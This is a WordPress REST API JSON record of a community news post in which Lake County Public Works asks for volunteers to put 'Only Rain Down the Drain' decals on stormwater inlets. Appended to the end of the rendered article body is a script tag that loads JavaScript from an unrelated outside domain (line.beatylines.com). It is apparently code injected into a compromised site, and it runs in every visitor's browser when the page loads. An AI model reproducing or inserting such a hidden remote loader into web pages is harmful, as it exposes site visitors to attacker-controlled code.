{"id":222571,"date":"2021-06-24T11:19:15","date_gmt":"2021-06-24T15:19:15","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=222571"},"modified":"2021-06-24T11:33:37","modified_gmt":"2021-06-24T15:33:37","slug":"lake-officials-seek-volunteers-for-water-quality-project","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/lake-officials-seek-volunteers-for-water-quality-project\/","title":{"rendered":"Lake Officials Seek Volunteers for Water Quality Project"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Lake County officials from the Public Works department are seeking volunteers to help during a stormwater marking event throughout designated developments within the county.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">According to a press release, volunteers would be provided all necessary materials and training for the project.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The project aims to inform and raise awareness of the importance of keeping our stormwater clean.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the release, Public Works representative Veronica Dau stated, &#8220;Unfortunately, many water bodies within Lake County have been identified by the State as impaired due to excessive nutrients.\u00a0 Excessive phosphorus and nitrogen stimulate unregulated algae growth resulting in a decline in water clarity and water quality.&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dau cites stormwater runoff from urban lawns and streets as a major source of the excess nutrients found in our nearby waters.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Volunteers would assist with the project by placing decals and stickers on designated stormwater inlets with the slogan &#8220;Only Rain Down the Drain&#8221; printed on them in hopes of raising awareness.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Officials believe that with a group of 5-10 volunteers the project can be completed in 2-3 hours.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Anyone who wishes to volunteer is asked to contact Veronica Dau, the Keep Lake Beautiful Facilitator by calling .the Lake County Public Works Department at (352) 253-1660<\/p>\n<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script>","protected":false},"excerpt":{"rendered":"<p>Lake County Officials are seeking volunteers to help with Water Quality Project.<\/p>\n","protected":false},"author":1,"featured_media":222572,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3246,6],"tags":[],"class_list":["post-222571","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-community","category-lake-county","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/Eagleridge-volunteers.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/222571","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=222571"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/222571\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/222572"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=222571"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=222571"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=222571"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}